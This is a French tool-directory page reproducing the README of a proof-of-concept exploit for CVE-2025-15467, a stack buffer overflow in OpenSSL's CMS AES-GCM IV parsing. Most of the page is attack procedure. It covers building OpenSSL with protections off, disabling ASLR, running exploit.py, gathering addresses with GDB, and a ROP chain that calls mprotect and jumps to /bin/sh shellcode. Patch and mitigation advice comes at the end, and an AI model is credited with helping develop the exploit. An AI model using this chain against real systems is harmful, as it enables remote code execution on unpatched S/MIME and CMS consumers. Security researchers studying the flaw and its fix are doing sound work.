Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-15467 — PoC d'exécution de commandes pour le débordement de tampon de pile d'OpenSSL CVE-2025-15467 | Kitploit
Outils/GitHubGitHub/guiimoraes/cve-2025-15467
Analyse des VulnérabilitésExploitationRétro-ingénierieShellcodeCryptographieApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

PoC d'exécution de commandes pour le débordement de tampon de pile d'OpenSSL CVE-2025-15467

Voir le dépôt
153il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-15467 : Débordement de tampon sur la pile dans OpenSSL CMS AuthEnvelopedData

Présentation

CVE-2025-15467 est une vulnérabilité critique de débordement de tampon sur la pile dans le code d'analyse CMS (Cryptographic Message Syntax) d'OpenSSL. La vulnérabilité existe dans la fonction evp_cipher_get_asn1_aead_params() lors du traitement des vecteurs d'initialisation (IV) AES-GCM dans les structures CMS AuthEnvelopedData.

PropriétéValeur
Identifiant CVECVE-2025-15467
GravitéÉlevée
CVSS8.1+
Versions concernéesOpenSSL 3.0 - 3.6 (avant correctifs)
ImpactExécution de code à distance (RCE)
Vecteur d'attaqueRéseau (analyse de CMS/S-MIME malveillant)
AuthentificationAucune requise

Détails de la vulnérabilité

Cause racine

La vulnérabilité se situe dans crypto/evp/evp_lib.c :

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Tampon fixe de 16 octets !

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG : utilise 'i' (contrôlé par l'attaquant) comme max_len au lieu de EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // DÉBORDEMENT !

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

Le bug

  1. iv est un tampon fixe de 16 octets sur la pile (EVP_MAX_IV_LENGTH = 16)
  2. Le premier appel à ossl_asn1_type_get_octetstring_int() retourne la longueur de l'IV depuis le fichier
  3. Le second appel utilise cette longueur (i) comme paramètre max_len
  4. Si i > 16, la fonction écrit au-delà du tampon → Débordement de tampon sur la pile

Exploitation

Le débordement se produit lors du déchiffrement CMS pendant l'analyse des paramètres GCM. Un attaquant peut :

  1. Créer un fichier CMS AuthEnvelopedData malveillant avec un IV surdimensionné
  2. Déborder le tampon de la pile pour écraser l'adresse de retour
  3. Rediriger l'exécution vers un shellcode contrôlé par l'attaquant
  4. Obtenir une exécution de code à distance

Applications concernées

Toute application qui analyse du contenu CMS/PKCS#7 non fiable avec des chiffrements AEAD :

  • Clients de messagerie traitant des messages S/MIME
  • Applications de signature de documents
  • Outils de gestion de certificats
  • Implémentations VPN/TLS utilisant CMS
  • Tout logiciel appelant CMS_decrypt() ou des fonctions similaires

Preuve de concept

Prérequis

root@kitploit:~
# Installer les dépendances
pip install pwntools  # Optionnel, pour la détection automatique de gadgets

# Cloner ce dépôt
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Exécuter le script d'installation pour compiler OpenSSL vulnérable
chmod +x setup.sh
./setup.sh

Ou manuellement :

root@kitploit:~
# Télécharger et compiler OpenSSL 3.4.0 vulnérable
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compiler SANS protection de pile pour une démonstration plus facile
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

Générer un certificat de test

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Générer la clé et le certificat
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Créer un fichier CMS valide (nécessaire comme modèle)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Vérifier que cela fonctionne
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

Méthode 1 : Mode automatique (recommandé)

L'exploit peut détecter automatiquement les adresses lorsque l'ASLR est désactivé :

root@kitploit:~
# Désactiver l'ASLR (nécessite les droits root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Exécuter l'exploit avec détection automatique
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Exécuter l'exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# Vous devriez obtenir un shell !

Méthode 2 : Adresses manuelles (via GDB)

Si la détection automatique échoue, obtenez les adresses manuellement :

root@kitploit:~
# Obtenir les adresses depuis GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Obtenir les adresses de base de libc et libcrypto
(gdb) continue
(gdb) # Lorsqu'il atteint evp_cipher_get_asn1_aead_params :
(gdb) print/x $rsp         # Obtenir l'adresse de la pile

Exemple de sortie :

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Puis générez l'exploit :

root@kitploit:~
# Générer l'exploit avec des adresses manuelles
# Arguments : <base_libcrypto> <base_libc> <adresse_pile> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Exécuter l'exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

Comment fonctionne l'exploit

  1. Corriger un CMS valide : prend un fichier CMS valide et remplace l'IV de 12 octets par une charge utile malveillante
  2. Déborder la pile : l'IV surdimensionné déborde du tampon de 16 octets, écrasant les registres sauvegardés et l'adresse de retour
  3. Chaîne ROP : utilise la programmation orientée retour pour appeler mprotect() et rendre la pile exécutable
  4. Exécution du shellcode : après mprotect(), saute vers le shellcode sur la pile via le gadget jmp rsp
  5. Shell : exécute execve("/bin/sh", NULL, NULL) pour lancer un shell

Structure de la chaîne ROP

root@kitploit:~
[remplissage : 56 octets pour atteindre le RIP sauvegardé]
[pop rdi; ret]        <- Définit RDI = page_pile (pour arg1 de mprotect)
[adresse page_pile]
[pop rsi; ret]        <- Définit RSI = 0x1000 (pour arg2 de mprotect)
[0x1000]
[pop rdx; pop rbx; ret] <- Définit RDX = 7 (PROT_RWX pour arg3 de mprotect)
[7]
[0]                   <- Valeur factice pour RBX
[mprotect]            <- Appelle mprotect(page_pile, 0x1000, 7)
[jmp rsp]             <- Saute vers le shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

Fichiers

FichierDescription
exploit.pyExploit principal avec modes automatique et manuel
setup.sh

Atténuations

Pour les utilisateurs

  1. Mettre à jour OpenSSL vers les versions corrigées :

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. Ne pas traiter de contenu CMS/S-MIME non fiable tant que le correctif n'est pas appliqué

Pour les développeurs

  1. Valider la longueur de l'IV avant la copie :
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. Utiliser le bon max_len dans le second appel :
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

Chronologie

DateÉvénement
2025-12-14Vulnérabilité signalée à OpenSSL
2026-01-27Avis de sécurité publié
2026-01-27Correctifs publiés

Références

  • Avis de sécurité OpenSSL
  • CVE-2025-15467

Crédits

  • Guilherme Moraes (@guiimoraes) - Développement de l'exploit
  • Claude Opus 4.5 (Anthropic) - Recherche et développement assistés par IA

Avertissement

Cette preuve de concept est fournie à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. À utiliser de manière responsable.

Licence

Licence MIT - Voir le fichier LICENSE pour plus de détails.

Télécharger l’outil
Script pour compiler OpenSSL vulnérable
README.mdCette documentation
TECHNICAL.mdAnalyse technique approfondie de la vulnérabilité